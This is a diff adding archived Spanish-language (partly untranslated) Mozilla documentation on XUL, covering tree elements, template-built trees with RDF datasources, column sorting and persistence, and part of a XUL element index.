+<p>Conveniently, these tags may be placed directly inside the <code><a href="/es/XUL/Elementos/treechildren" title="es/XUL/Elementos/treechildren">treechildren</a></code> tag, nested in the order above. The tags define the data to be displayed in the tree body. In this case, the tree uses the built-in tree view, called a content tree view, which uses the labels and values specified on these elements as the data for the tree. When the tree needs to display a row, the tree asks the content tree view for a cell's label by calling the view's getCellText function, which in turn gets the data from the label of the appropriate <code><a href="/es/XUL/Elementos/treecell" title="es/XUL/Elementos/treecell">treecell</a></code>.</p>
+
+<p>However, the three elements listed above are not displayed directly. They are used only as the source for the data for the view. Thus, only a handful of attributes apply to the <code><a href="/es/XUL/Elementos/treeitem" title="es/XUL/Elementos/treeitem">treeitem</a></code> and related elements. For instance, you cannot change the appearance of the tree rows using the <code><a href="/es/XUL/Atributos/style" title="es/XUL/Atributos/style">style</a></code> attribute or with other CSS properties and the box related features such as flexibility and orientation cannot be used.</p>
+
+<p>In fact, apart from some tree specific attributes, the only attributes that will have any effect will be the <code><a href="/es/XUL/Atributos/label" title="es/XUL/Atributos/label">label</a></code> attribute to set a text label for a cell and the <code><a href="/es/XUL/Atributos/src" title="es/XUL/Atributos/src">src</a></code> attribute to set an image. However, there are special ways of styling the tree and setting other features which we will see in later sections.</p>
+
+<p>Also, events do not get sent to <code><a href="/es/XUL/Elementos/treeitem" title="es/XUL/Elementos/treeitem">treeitem</a></code> element and their children; instead they get sent to the <code><a href="/es/XUL/Elementos/treechildren" title="es/XUL/Elementos/treechildren">treechildren</a></code> element.</p>
+
+<p>That the treeitems are unlike other XUL elements is a common source of confusion for XUL developers. Essentially, the tree content view is a view where the data for the cells is supplied from tags placed inside the tree. Naturally, if you are using a different kind of view, the data will be supplied from another source, and there won't be any <code><a href="/es/XUL/Elementos/treeitem" title="es/XUL/Elementos/treeitem">treeitem</a></code> elements at all.</p>
+
+<p>Let's start by looking at how to create a simple tree with multiple columns using the tree content view. This could be used to create a list of mail messages. There might be multiple columns, such as the sender and the subject.</p>
+
+<h4 id="Ejemplo_de_.C3.A1rbol_con_treechildren" name="Ejemplo_de_.C3.A1rbol_con_treechildren">Ejemplo de árbol con <code>treechildren</code></h4>
+
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_trees_2.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_trees_2.xul">Ver en funcionamiento</a></p>
+
+<div class="float-right"><img alt="Image:trees1.png"></div>
+
+<pre>&lt;tree flex="1"&gt;
+
+  &lt;treecols&gt;
+    &lt;treecol id="sender" label="Sender" flex="1"/&gt;
+    &lt;treecol id="subject" label="Subject" flex="2"/&gt;
+  &lt;/treecols&gt;
+
+  &lt;treechildren&gt;
+    &lt;treeitem&gt;
+      &lt;treerow&gt;
+        &lt;treecell label="joe@somewhere.com"/&gt;
+        &lt;treecell label="Top secret plans"/&gt;
+      &lt;/treerow&gt;
+    &lt;/treeitem&gt;
+    &lt;treeitem&gt;
+      &lt;treerow&gt;
+        &lt;treecell label="mel@whereever.com"/&gt;
+        &lt;treecell label="Let's do lunch"/&gt;
+      &lt;/treerow&gt;
+    &lt;/treeitem&gt;
+  &lt;/treechildren&gt;
+
+&lt;/tree&gt;
+</pre>
+
+<p>As can be seen in the image, the tree has been created with two rows of data.</p>
+
+<p>This tree has two columns, the second of which will take up more space than the first. You will usually make the columns flexible. You can also supply widths with the <code><a href="/es/XUL/Atributos/width" title="es/XUL/Atributos/width">width</a></code> attribute. You should include the same number of <code><a href="/es/XUL/Elementos/treecol" title="es/XUL/Elementos/treecol">treecol</a></code> elements as there are columns in the tree. Otherwise strange things might happen.</p>
+
+<p>The header row is created automatically. The button in the upper right corner can be used to hide and show the columns. You can place a <code><a href="/es/XUL/Atributos/hidecolumnpicker" title="es/XUL/Atributos/hidecolumnpicker">hidecolumnpicker</a></code> attribute on the tree and set it to <code>true</code> if you would like to hide this button. If this button is hidden, the user will not be able to hide columns.</p>
+
+<p>Make sure that you set an <code><a href="/es/XUL/Atributos/id" title="es/XUL/Atributos/id">id</a></code> attribute on each column or the hiding and showing of columns will not work in all versions of Mozilla.</p>
+
+<p>The <code>treechildren</code> element surrounds all of the rows. Inside the body are individual rows, which may in turn contain other rows. For a simpler tree, each row is created with the <code><a href="/es/XUL/Elementos/treeitem" title="es/XUL/Elementos/treeitem">treeitem</a></code> and <code><a href="/es/XUL/Elementos/treerow" title="es/XUL/Elementos/treerow">treerow</a></code> elements. The <code>treerow</code> element surrounds all of the cells in a single row, while a <code>treeitem</code> element would surround a row and all of its children. Trees with nested rows are described in the next section.</p>
+
+<p>Inside the rows, you will put individual tree cells. These are created using the <code><a href="/es/XUL/Elementos/treecell" title="es/XUL/Elementos/treecell">treecell</a></code> element. You can set the text for the cell using the <code>label</code> attribute. The first <code><a href="/es/XUL/Elementos/treecell" title="es/XUL/Elementos/treecell">treecell</a></code> in a row determines the content that will appear in the first column, the second <code><a href="/es/XUL/Elementos/treecell" title="es/XUL/Elementos/treecell">treecell</a></code> determines the content that will appear in the second column, and so on.</p>
+
+<p>The user can select the treeitems by clicking on them with the mouse, or by highlighting them with the keyboard. The user can select multiple items by holding down the Shift or Control keys and clicking additional rows. To disable multiple selection, place a <code><a href="/es/XUL/Atributos/seltype" title="es/XUL/Atributos/seltype">seltype</a></code> attribute on the tree, set to the value <code>single</code>. With this, the user may only select a single row at a time.</p>
+
+<div class="highlight">
+<h4 id="Add_a_tree_to_out_find_files_example" name="Add_a_tree_to_out_find_files_example">Add a tree to out find files example</h4>
+
+<p>Let's add a tree to the find files window where the results of the search would be displayed. The tree will use a content tree view. The following code should be added in place of the <a href="/es/Tutorial_de_XUL/Paneles_de_contenidos#Ejemplo:_Usando_iframe" title="es/Tutorial_de_XUL/Paneles_de_contenidos#Ejemplo:_Usando_iframe">iframe</a>.</p>
+
+<pre class="eval"><span class="highlightred">&lt;tree flex="1"&gt;
+  &lt;treecols&gt;
+    &lt;treecol id="name" label="Filename" flex="1"/&gt;
+    &lt;treecol id="location" label="Location" flex="2"/&gt;
+    &lt;treecol id="size" label="Size" flex="1"/&gt;
+  &lt;/treecols&gt;
+
+  &lt;treechildren&gt;
+   &lt;treeitem&gt;
+     &lt;treerow&gt;
+       &lt;treecell label="mozilla"/&gt;
+       &lt;treecell label="/usr/local"/&gt;
+       &lt;treecell label="2520 bytes"/&gt;
+     &lt;/treerow&gt;
+   &lt;/treeitem&gt;
+  &lt;/treechildren&gt;
+&lt;/tree&gt;</span>
+
+&lt;splitter collapse="before" resizeafter="grow"/&gt;
+</pre>
+
+<p>We've added a tree with three columns for the filename, the location and the file size. The second column will appear twice as wide due to the larger flexibility. A single row has been added to demonstrate what the table would look like with a row. In a real implementation, the rows would be added by a script as the search was performed, or a custom view would be created to hold the data.</p>
+
+<p>Ejemplo: <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-trees.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-trees.xul">Ver en funcionamiento</a></p>
+</div>
+
+<p><br>
+ Seguimos con como crear <a href="/es/Tutorial_de_XUL/Más_características_de_los_árboles" title="es/Tutorial_de_XUL/Más_características_de_los_árboles">árboles más avanzados</a>.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Ejemplos_XPCOM" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Más_características_de_los_árboles">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/árboles_y_plantillas/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/árboles_y_plantillas/index.html
new file mode 100644
index 0000000000..7c5277063b
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/árboles_y_plantillas/index.html
@@ -0,0 +1,138 @@
+---
+title: Árboles y plantillas
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Árboles_y_plantillas
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/XUL/Tutorial/Trees_and_Templates
+---
+<p>Lo siguiente describe como usar una plantilla con un árbol.</p>
+
+<h3 id="A.C3.B1adiendo_fuentes_de_datos_a_.C3.A1rboles" name="A.C3.B1adiendo_fuentes_de_datos_a_.C3.A1rboles">Añadiendo fuentes de datos a árboles</h3>
+
+<p>When using a tree, you will often use a template to build its content, to handle a large amount of hierarchial data. Using a template with a tree uses very much the same syntax as with other elements. You need to add a <code><a href="es/XUL/Atributos/datasources">datasources</a></code> and a <code><a href="es/XUL/Atributos/ref">ref</a></code> attribute to the <code><a href="es/XUL/Elementos/tree">tree</a></code> element, which specify the datasource and root node to display. Multiple rules can be used to indicate different content for different types of data.</p>
+
+<p>El ejemplo siguiente usa el historial de fuentes de datos:</p>
+
+<pre>&lt;tree datasources="rdf:history" ref="NC:HistoryByDate"
+          flags="dont-build-content"&gt;
+</pre>
+
+<p>As described in the previous section, the tree may use a tree builder for template generation instead of the normal content builder. This means that elements will not be created for every row in the tree, making it more efficient. The <code>[[XUL:Atributos:flgs|flags</code> attribute set to the value <code>dont-build-content</code>, as used in the example above, indicates that the tree builder should be used. If you leave the attribute out, the content builder will be used. You can see the difference by using Mozilla's DOM Inspector on a tree with and without the flag.</p>
+
+<p>If you do use a content builder instead, note that the content won't generally get built until it is needed. With hierarchical trees, the children don't get generated until the parent nodes have been opened by the user.</p>
+
+<p>In the template, there will be one <code><a href="es/XUL/Elementos/treecell">treecell</a></code> for each column in the tree. The cells should have a <code><a href="es/XUL/Atributos/label">label</a></code> attribute to set the label for the cell. This would normally be set to an RDF property so that the label is pulled from the datasource.</p>
+
+<h4 id="Plantilla_constructora_de_.C3.A1rbol" name="Plantilla_constructora_de_.C3.A1rbol">Plantilla constructora de árbol</h4>
+
+<p>The following example demonstrates a template-built tree, in this case for the file system.</p>
+
+<p><strong>Ejemplo 1</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_treetempl_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_treetempl_1.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;tree id="my-tree" flex="1"
+       datasources="rdf:files" ref="file:///" flags="dont-build-content"&gt;
+  &lt;treecols&gt;
+    &lt;treecol id="Name" label="Name" primary="true" flex="1"/&gt;
+    &lt;splitter/&gt;
+    &lt;treecol id="Date" label="Date" flex="1"/&gt;
+  &lt;/treecols&gt;
+
+    &lt;template&gt;
+      &lt;rule&gt;
+        &lt;treechildren&gt;
+          &lt;treeitem uri="rdf:*"&gt;
+            &lt;treerow&gt;
+              &lt;treecell label="rdf:http://home.netscape.com/NC-rdf#Name"/&gt;
+              &lt;treecell label="rdf:http://home.netscape.com/WEB-rdf#LastModifiedDate"/&gt;
+            &lt;/treerow&gt;
+          &lt;/treeitem&gt;
+        &lt;/treechildren&gt;
+      &lt;/rule&gt;
+    &lt;/template&gt;
+&lt;/tree&gt;
+</pre>
+
+<p>Aquí, un árbol es creado con dos columnas, para el nombre y la fecha de un archivo. The tree should display a list of the files in the root directory. Only one rule is used, but you may add others if needed. Like with other templates, the uri attribute on an element indicates where to start generating content. The two cells grab the name and date from the datasource and place the values in the cell labels.</p>
+
+<p>This example shows why the uri attribute becomes useful. Notice how it has been placed on the treeitem in the example, even though it is not a direct descendant of the rule element. We need to put this attribute on only those elements that we want repeated for each resource. Because we don't want multiple <code><a href="es/XUL/Elementos/treechildren">treechildren</a></code> elements, we don't put it there. Instead we put the <code><a href="es/XUL/Atributos/uri">uri</a></code> attributes on the <code><a href="es/XUL/Elementos/treeitem">treeitem</a></code> elements. Effectively, the elements outside (or above) the element with the <code><a href="es/XUL/Atributos/uri">uri</a></code> attribute are not duplicated whereas the element with the <code><a href="es/XUL/Atributos/uri">uri</a></code> attribute and the elements inside it are duplicated for each resource.</p>
+
+<p>As the tree builder is used and not the content builder, the structure of the elements in the above example must be as shown, with the <code><a href="es/XUL/Elementos/treechildren">treechildren</a></code> element inside the rule. Although the tree builder doesn't build these elements, it does require this structure in order to determine what to generate correctly.</p>
+
+<div class="float-right"><img alt="Image:rdfoutl1.jpg"></div>
+
+<p>Note in the image that additional child elements below the top-level elements have been added automatically. XUL knows how to add child elements when the templates or rules contain tree elements or menu elements. It will generate tree elements as nested as necessary based on the available RDF data.</p>
+
+<p>An interesting part of RDF datasources is that the resource values are only determined when the data is needed. This means that values that are deeper in the resource hierarchy are not determined until the user navigates to that node in the tree. This becomes useful for certain datasources where the data is determined dynamically.</p>
+
+<h3 id="Ordenando_las_columnas" name="Ordenando_las_columnas">Ordenando las columnas</h3>
+
+<p>If you try the previous example, you might note that the list of files is not sorted. Trees which generate their data from a datasource have the optional ability to sort their data. You can sort either ascending or descending on any column. The user may change the sort column and direction by clicking the column headers. This sorting feature is not available for trees with static content, although you can write a script to sort the data.</p>
+
+<p>Sorting involves three attributes, which should be placed on the columns. The first attribute, sort, should be set to an RDF property that is used as the sort key. Usually, this would be the same as that used in the label of the cell in that column. If you set this on a column, the data will be sorted in that column. The user can change the sort direction by clicking the column header. If you do not set the sort attribute on a column, the data cannot be sorted by that column.</p>
+
+<p>El atributo <code>sortDirection</code> (note la mezcla) es usado para definir el orden por defecto de la columna. Tres valores son posibles:</p>
+
+<dl>
+ <dt>ascending</dt>
+ <dd>los datos aparecerán en orden ascendente (por ejemplo: de la A a la Z.</dd>
+ <dt>descending</dt>
+ <dd>los datos aparecerán en orden descendente (Z-A).</dd>
+ <dt>natural</dt>
+ <dd>los datos aparecerán en el mismo orden en el cual están guardados en la fuente de datos RDF.</dd>
+</dl>
+
+<p>The final attribute, <code>sortActive</code> should be set to <code>true</code> for one column, the one that you would like to be sorted by default.</p>
+
+<p>Although the sorting will function correctly with only those attributes, you may also use the style class <code>sortDirectionIndicator</code> on a column that can be sorted. This will cause a small triangle to appear on the column header that indicates the direction of the sort. If you don't do this, the user may still sort the columns but will have no indication as to which column is currently sorted.</p>
+
+<p>The following example changes the columns in the earlier example to incorporate the extra features:</p>
+
+<pre>&lt;treecols&gt;
+  &lt;treecol id="Name" label="Name" flex="1" primary="true"
+            class="sortDirectionIndicator" sortActive="true"
+            sortDirection="ascending"
+            sort="rdf:http://home.netscape.com/NC-rdf#Name"/&gt;
+  &lt;splitter/&gt;
+  &lt;treecol id="Date" label="Date" flex="1" class="sortDirectionIndicator"
+           sort="rdf:http://home.netscape.com/WEB-rdf#LastModifiedDate"/&gt;
+&lt;/treecols&gt;
+</pre>
+
+<h3 id="Persistencia_del_estado_de_la_columna" name="Persistencia_del_estado_de_la_columna">Persistencia del estado de la columna</h3>
+
+<p>One additional thing you might want to do is persist which column is currently sorted, so that it is remembered between sessions. To do this, we use the <code><a href="es/XUL/Atributos/persist">persist</a></code> attribute on each <code><a href="es/XUL/Elementos/treecol">treecol</a></code> element. There are five attributes of columns that need to be persisted, to save the column width, the column order, whether the column is visible, which column is currently sorted and the sort direction. The following example shows a sample column:</p>
+
+<pre>&lt;treecol id="Date" label="Date" flex="1"
+             class="sortDirectionIndicator"
+             persist="width ordinal hidden sortActive sortDirection"
+             sort="rdf:http://home.netscape.com/WEB-rdf#LastModifiedDate"/&gt;
+</pre>
+
+<p>Más detalles sobre el atributo More details about the <code><a href="es/XUL/Atributos/persist">persist</a></code> son descritos en <a href="es/Tutorial_de_XUL/Datos_persistentes">la sección próxima</a>.</p>
+
+<h3 id="Reglas_adicionales" name="Reglas_adicionales">Reglas adicionales</h3>
+
+<p>There are two additional attributes that can be added to the <code>rule</code> element that allow it to match in certain special circumstances. Both are boolean attributes.</p>
+
+<dl>
+ <dt>iscontainer</dt>
+ <dd>If this attribute is set to <code>true</code>, then the rule will match all resources that have children. For example, we could use this rule to match bookmark folders. This is convenient as the RDF datasource does not need to include any special attributes to indicate this.</dd>
+</dl>
+
+<dl>
+ <dt>isempty</dt>
+ <dd>If this attribute is set to <code>true</code>, then the rule will match all resources that have no children.</dd>
+</dl>
+
+<p>A resource might be a container and be an empty one as well. However, this is different from a resource that is not a container. For example, a bookmark folder is a container but it might or might not have children. However a single bookmark or separator is not a container.</p>
+
+<p>You can combine these two elements with other attribute matches for more specific rules.</p>
+
+<p>Seguimos con las fuentes de datos proporcionadas por Mozilla.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Plantillas" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Fuentes_de_datos_RDF">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/xul_reference/index.html b/files/es/archive/mozilla/xul/xul_reference/index.html
new file mode 100644
index 0000000000..9e3468106c
--- /dev/null
+++ b/files/es/archive/mozilla/xul/xul_reference/index.html
@@ -0,0 +1,318 @@
+---
+title: XUL Reference
+slug: Archive/Mozilla/XUL/XUL_Reference
+translation_of: Archive/Mozilla/XUL/XUL_Reference
+---
+<p>« <a href="/es/docs/XUL" title="es/XUL">Referencia de XUL</a> «</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th colspan="3">Todos los elementos XUL (ordenados alfabéticamente)</th>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="/es/docs/XUL/action" title="es/XUL/action">action</a><br>
+     <a href="/es/docs/XUL/Arrowscrollbox" title="Es/XUL/Arrowscrollbox">arrowscrollbox</a><br>
+     <a href="/es/docs/XUL/Assign" title="es/XUL/Assign">assign</a><br>
+     <a href="/es/docs/XUL/Bbox" title="es/XUL/bbox">bbox</a><br>
+     <a href="/es/docs/XUL/binding" title="es/XUL/binding">binding</a><br>
+     <a href="/es/docs/XUL/bindings" title="es/XUL/bindings">bindings</a><br>
+     <a href="/es/docs/XUL/box" title="es/XUL/box">box</a><br>
+     <a href="/es/docs/XUL/broadcaster" title="es/XUL/broadcaster">broadcaster</a><br>
+     <a href="/es/docs/XUL/broadcasterset" title="es/XUL/broadcasterset">broadcasterset</a><br>
+     <a href="/es/docs/XUL/button" title="es/XUL/button">button</a><br>
+     <a href="/es/docs/XUL/browser" title="es/XUL/browser">browser</a><br>
+     <a href="/es/docs/XUL/checkbox" title="es/XUL/checkbox">checkbox</a><br>
+     <a href="/es/docs/XUL/caption" title="es/XUL/caption">caption</a><br>
+     <a href="/es/docs/XUL/colorpicker" title="es/XUL/colorpicker">colorpicker</a><br>
+     <a href="/es/docs/XUL/column" title="es/XUL/column">column</a><br>
+     <a href="/es/docs/XUL/columns" title="es/XUL/columns">columns</a><br>
+     <a href="/es/docs/XUL/commandset" title="es/XUL/commandset">commandset</a><br>
+     <a href="/es/docs/XUL/command" title="es/XUL/command">command</a><br>
+     <a href="/es/docs/XUL/conditions" title="es/XUL/conditions">conditions</a><br>
+     <a href="/es/docs/XUL/content" title="es/XUL/content">content</a><br>
+     <a href="/es/docs/XUL/datepicker" title="es/XUL/datepicker">datepicker</a><br>
+     <a href="/es/docs/XUL/deck" title="es/XUL/deck">deck</a><br>
+     <a href="/es/docs/XUL/description" title="es/XUL/description">description</a><br>
+     <a href="/es/docs/XUL/Dialog" title="es/XUL/dialog">dialog</a><br>
+     <a href="/es/docs/XUL/dialogheader" title="es/XUL/dialogheader">dialogheader</a><br>
+     <a href="/es/docs/XUL/dropmarker" title="es/XUL/dropmarker">dropmarker</a><br>
+     <a href="/es/docs/XUL/editor" title="es/XUL/editor">editor</a><br>
+     <a href="/es/docs/XUL/grid" title="es/XUL/grid">grid</a><br>
+     <a href="/es/docs/XUL/grippy" title="es/XUL/grippy">grippy</a><br>
+     <a href="/es/docs/XUL/groupbox" title="es/XUL/groupbox">groupbox</a><br>
+     <a href="/es/docs/XUL/hbox" title="es/XUL/hbox">hbox</a><br>
+     <a href="/es/docs/XUL/iframe" title="es/XUL/iframe">iframe</a><br>
+     <a href="/es/docs/XUL/image" title="es/XUL/image">image</a><br>
+     <a href="/es/docs/XUL/key" title="es/XUL/key">key</a><br>
+     <a href="/es/docs/XUL/keyset" title="es/XUL/keyset">keyset</a><br>
+     <a href="/es/docs/XUL/label" title="es/XUL/label">label</a><br>
+     <a href="/es/docs/XUL/listbox" title="es/XUL/listbox">listbox</a><br>
+     <a href="/es/docs/XUL/listcell" title="es/XUL/listcell">listcell</a><br>
+     <a href="/es/docs/XUL/listcol" title="es/XUL/listcol">listcol</a><br>
+     <a href="/es/docs/XUL/listcols" title="es/XUL/listcols">listcols</a><br>
+     <a href="/es/docs/XUL/listhead" title="es/XUL/listhead">listhead</a><br>
+     <a href="/es/docs/XUL/listheader" title="es/XUL/listheader">listheader</a><br>
+     <a href="/es/docs/XUL/listitem" title="es/XUL/listitem">listitem</a></p>
+   </td>
+   <td>
+    <p><a href="/es/docs/XUL/member" title="es/XUL/member">member</a><br>
+     <a href="/es/docs/XUL/menu" title="es/XUL/menu">menu</a><br>
+     <a href="/es/docs/XUL/menubar" title="es/XUL/menubar">menubar</a><br>
+     <a href="/es/docs/XUL/menuitem" title="es/XUL/menuitem">menuitem</a><br>
+     <a href="/es/docs/XUL/menulist" title="es/XUL/menulist">menulist</a><br>
+     <a href="/es/docs/XUL/menupopup" title="es/XUL/menupopup">menupopup</a><br>
+     <a href="/es/docs/XUL/menuseparator" title="es/XUL/menuseparator">menuseparator</a><br>
+     <a href="/es/docs/XUL/notification" title="es/XUL/notification">notification</a><br>
+     <a href="/es/docs/XUL/notificationbox" title="es/XUL/notificationbox">notificationbox</a><br>
+     <a href="/es/docs/XUL/observes" title="es/XUL/observes">observes</a><br>
+     <a href="/es/docs/XUL/overlay" title="es/XUL/overlay">overlay</a><br>
+     <a href="/es/docs/XUL/page" title="es/XUL/page">page</a><br>
+     <a href="/es/docs/XUL/panel" title="es/XUL/panel">panel</a><br>
+     <a href="/es/docs/XUL/param" title="es/XUL/param">param</a><br>
+     <a href="/es/docs/XUL/popupset" title="es/XUL/popupset">popupset</a><br>
+     <a href="/es/docs/XUL/preference" title="es/XUL/preference">preference</a><br>
+     <a href="/es/docs/XUL/preferences" title="es/XUL/preferences">preferences</a><br>
+     <a href="/es/docs/XUL/prefpane" title="es/XUL/prefpane">prefpane</a><br>
+     <a href="/es/docs/XUL/prefwindow" title="es/XUL/prefwindow">prefwindow</a><br>
+     <a href="/es/docs/XUL/progressmeter" title="es/XUL/progressmeter">progressmeter</a><br>
+     <a href="/es/docs/XUL/query" title="es/XUL/query">query</a><br>
+     <a href="/es/docs/XUL/queryset" title="es/XUL/queryset">queryset</a><br>
+     <a href="/es/docs/XUL/radio" title="es/XUL/radio">radio</a><br>
+     <a href="/es/docs/XUL/radiogroup" title="es/XUL/radiogroup">radiogroup</a><br>
+     <a href="/es/docs/XUL/resizer" title="es/XUL/resizer">resizer</a><br>
+     <a href="/es/docs/XUL/richlistbox" title="es/XUL/richlistbox">richlistbox</a><br>
+     <a href="/es/docs/XUL/richlistitem" title="es/XUL/richlistitem">richlistitem</a><br>
+     <a href="/es/docs/XUL/row" title="es/XUL/row">row</a><br>
+     <a href="/es/docs/XUL/rows" title="es/XUL/rows">rows</a><br>
+     <a href="/es/docs/XUL/rule" title="es/XUL/rule">rule</a><br>
+     <a href="/es/docs/XUL/scale" title="es/XUL/scale">scale</a><br>
+     <a href="/es/docs/XUL/script" title="es/XUL/script">script</a><br>
+     <a href="/es/docs/XUL/scrollbar" title="es/XUL/scrollbar">scrollbar</a><br>
+     <a href="/es/docs/XUL/scrollbox" title="es/XUL/scrollbox">scrollbox</a><br>
+     <a href="/es/docs/XUL/scrollcorner" title="es/XUL/scrollcorner">scrollcorner</a><br>
+     <a href="/es/docs/XUL/separator" title="es/XUL/separator">separator</a><br>
+     <a href="/es/docs/XUL/spacer" title="es/XUL/spacer">spacer</a><br>
+     <a href="/es/docs/XUL/spinbuttons" title="es/XUL/spinbuttons">spinbuttons</a><br>
+     <a href="/es/docs/XUL/splitter" title="es/XUL/splitter">splitter</a><br>
+     <a href="/es/docs/XUL/stack" title="es/XUL/stack">stack</a><br>
+     <a href="/es/docs/XUL/Statusbar" title="es/XUL/statusbar">statusbar</a></p>
+   </td>
+   <td>
+    <p><a href="/es/docs/XUL/statusbarpanel" title="es/XUL/statusbarpanel">statusbarpanel</a><br>
+     <a href="/es/docs/XUL/stringbundle" title="es/XUL/stringbundle">stringbundle</a><br>
+     <a href="/es/docs/XUL/stringbundleset" title="es/XUL/stringbundleset">stringbundleset</a><br>
+     <a href="/es/docs/XUL/tab" title="es/XUL/tab">tab</a><br>
+     <a href="/es/docs/XUL/tabbrowser" title="es/XUL/tabbrowser">tabbrowser</a> (Firefox-a partir de<br>
+     Firefox 3/Gecko 1.9)<br>
+     <a href="/es/docs/XUL/tabbox" title="es/XUL/tabbox">tabbox</a><br>
+     <a href="/es/docs/XUL/tabpanel" title="es/XUL/tabpanel">tabpanel</a><br>
+     <a href="/es/docs/XUL/tabpanels" title="es/XUL/tabpanels">tabpanels</a><br>
+     <a href="/es/docs/XUL/tabs" title="es/XUL/tabs">tabs</a><br>
+     <a href="/es/docs/XUL/template" title="es/XUL/template">template</a><br>
+     <a href="/es/docs/XUL/textnode" title="es/XUL/textnode">textnode</a><br>
+     <a href="/es/docs/XUL/textbox" title="es/XUL/textbox">textbox</a><br>
+     <a href="/es/docs/XUL/textbox_(Firefox_autocomplete)" title="es/XUL/textbox (Firefox autocomplete)">textbox (Firefox autocomplete)</a><br>
+     <a href="/es/docs/XUL/textbox_(Mozilla_autocomplete)" title="es/XUL/textbox (Mozilla autocomplete)">textbox (Mozilla autocomplete)</a><br>
+     <a href="/es/docs/XUL/timepicker" title="es/XUL/timepicker">timepicker</a><br>
+     <a href="/es/docs/XUL/titlebar" title="es/XUL/titlebar">titlebar</a><br>
+     <a href="/es/docs/XUL/toolbar" title="es/XUL/toolbar">toolbar</a><br>
+     <a href="/es/docs/XUL/toolbarbutton" title="es/XUL/toolbarbutton">toolbarbutton</a><br>
+     <a href="/es/docs/XUL/toolbargrippy" title="es/XUL/toolbargrippy">toolbargrippy</a><br>
+     <a href="/es/docs/XUL/toolbaritem" title="es/XUL/toolbaritem">toolbaritem</a><br>
+     <a href="/es/docs/XUL/toolbarpalette" title="es/XUL/toolbarpalette">toolbarpalette</a><br>
+     <a href="/es/docs/XUL/toolbarseparator" title="es/XUL/toolbarseparator">toolbarseparator</a><br>
+     <a href="/es/docs/XUL/toolbarset" title="es/XUL/toolbarset">toolbarset</a><br>
+     <a href="/es/docs/XUL/toolbarspacer" title="es/XUL/toolbarspacer">toolbarspacer</a><br>
+     <a href="/es/docs/XUL/toolbarspring" title="es/XUL/toolbarspring">toolbarspring</a><br>
+     <a href="/es/docs/XUL/toolbox" title="es/XUL/toolbox">toolbox</a><br>
+     <a href="/es/docs/XUL/tooltip" title="es/XUL/tooltip">tooltip</a><br>
+     <a href="/es/docs/XUL/tree" title="es/XUL/tree">tree</a><br>
+     <a href="/es/docs/XUL/treecell" title="es/XUL/treecell">treecell</a><br>
+     <a href="/es/docs/XUL/treechildren" title="es/XUL/treechildren">treechildren</a><br>
+     <a href="/es/docs/XUL/treecol" title="es/XUL/treecol">treecol</a><br>
+     <a href="/es/docs/XUL/treecols" title="es/XUL/treecols">treecols</a><br>
+     <a href="/es/docs/XUL/treeitem" title="es/XUL/treeitem">treeitem</a><br>
+     <a href="/es/docs/XUL/treerow" title="es/XUL/treerow">treerow</a><br>
+     <a href="/es/docs/XUL/treeseparator" title="es/XUL/treeseparator">treeseparator</a><br>
+     <a href="/es/docs/XUL/triple" title="es/XUL/triple">triple</a><br>
+     <a href="/es/docs/XUL/vbox" title="es/XUL/vbox">vbox</a><br>
+     <a href="/es/docs/XUL/where" title="es/XUL/where">where</a><br>
+     <a href="/es/docs/XUL/window" title="es/XUL/window">window</a><br>
+     <a href="/es/docs/XUL/wizard" title="es/XUL/wizard">wizard</a><br>
+     <a href="/es/docs/XUL/wizardpage" title="es/XUL/wizardpage">wizardpage</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<h1 id="Referencia_de_XUL">Referencia de XUL</h1>
+<p>« <a href="/es/docs/XUL" title="es/XUL">Referencia de XUL</a> «</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th colspan="3">Elementos XUL por categoría</th>
+  </tr>
+  <tr>
+   <td>
+    <p><u><strong>VENTANAS</strong></u></p>
+    <p><a href="/en-US/docs/XUL/dialog" title="XUL/dialog">dialog</a><br>
+     <a href="/en-US/docs/XUL/overlay" title="XUL/overlay">overlay</a><br>
+     <a href="/en-US/docs/XUL/page" title="XUL/page">page</a><br>
+     <a href="/en-US/docs/XUL/window" title="XUL/window">window</a><br>
+     <a href="/en-US/docs/XUL/wizard" title="XUL/wizard">wizard</a><br>
+     <a href="/en-US/docs/XUL/wizardpage" title="XUL/wizardpage">wizardpage</a><br>
+     <a href="/en-US/docs/XUL/preference" title="XUL/preference">preference</a><br>
+     <a href="/en-US/docs/XUL/preferences" title="XUL/preferences">preferences</a><br>
+     <a href="/en-US/docs/XUL/prefpane" title="XUL/prefpane">prefpane</a><br>
+     <a href="/en-US/docs/XUL/prefwindow" title="XUL/prefwindow">prefwindow</a></p>
+    <p><u><strong>ESTRUCTURA<br>
+     DE VENTANAS</strong></u></p>
+    <p><a href="/en-US/docs/XUL/browser" title="XUL/browser">browser</a><br>
+     <a href="/en-US/docs/XUL/tabbrowser" title="XUL/tabbrowser">tabbrowser</a><br>
+     <a href="/en-US/docs/XUL/editor" title="XUL/editor">editor</a><br>
+     <a href="/en-US/docs/XUL/iframe" title="XUL/iframe">iframe</a><br>
+     <a href="/en-US/docs/XUL/titlebar" title="XUL/titlebar">titlebar</a><br>
+     <a href="/en-US/docs/XUL/resizer" title="XUL/resizer">resizer</a><br>
